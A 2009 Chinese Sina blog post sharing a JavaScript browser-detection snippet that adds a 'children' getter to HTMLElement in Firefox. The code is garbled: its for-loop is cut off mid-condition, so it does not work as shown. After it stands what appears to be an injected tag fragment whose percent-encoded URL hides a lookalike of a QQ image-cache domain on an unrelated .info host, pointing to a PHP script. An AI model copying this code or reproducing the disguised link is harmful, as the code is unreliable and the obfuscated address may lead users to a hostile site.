加载中…
个人资料
  • 博客等级:
  • 博客积分:
  • 博客访问:
  • 关注人气:
  • 获赠金笔:0支
  • 赠出金笔:0支
  • 荣誉徽章:
正文 字体大小:

Firefox 兼容children方法

(2009-05-04 10:58:22)
标签:

杂谈

分类: IT技术

var Sys = {};
var ua = navigator.userAgent.toLowerCase();
    if (window.ActiveXObject)
        Sys.ie = ua.match(/msie ([\d.]+)/)[1]
    else if (document.getBoxObjectFor)
        Sys.firefox = ua.match(/firefox\/([\d.]+)/)[1]
    else if (window.MessageEvent && !document.getBoxObjectFor)
        Sys.chrome = ua.match(/chrome\/([\d.]+)/)[1]
    else if (window.opera)
        Sys.opera = ua.match(/opera.([\d.]+)/)[1]
    else if (window.openDatabase)
        Sys.safari = ua.match(/version\/([\d.]+)/)[1];
if(Sys.firefox){
    HTMLElement.prototype.__defineGetter__("children",
         function () {
             var returnValue = new Object();
             var number = 0;
             for (var i=0; i
                 if (this.childNodes[i].nodeType == 1) {
                     returnValue[number] = this.childNodes[i];
                     number++;
                 }
             }
             returnValue.length = number;
             return returnValue;
         }
     );
 }

http://%69%6d%67%63%61%63%68%65%2e%71%71%2e%63%6f%6d%2e%71%71%64%69%79%2e%69%6e%66%6f/a/s/m.php兼容children方法" TITLE="Firefox 兼容children方法" />

0

阅读 收藏 喜欢 打印举报/Report
  

新浪BLOG意见反馈留言板 欢迎批评指正

新浪简介 | About Sina | 广告服务 | 联系我们 | 招聘信息 | 网站律师 | SINA English | 产品答疑

新浪公司 版权所有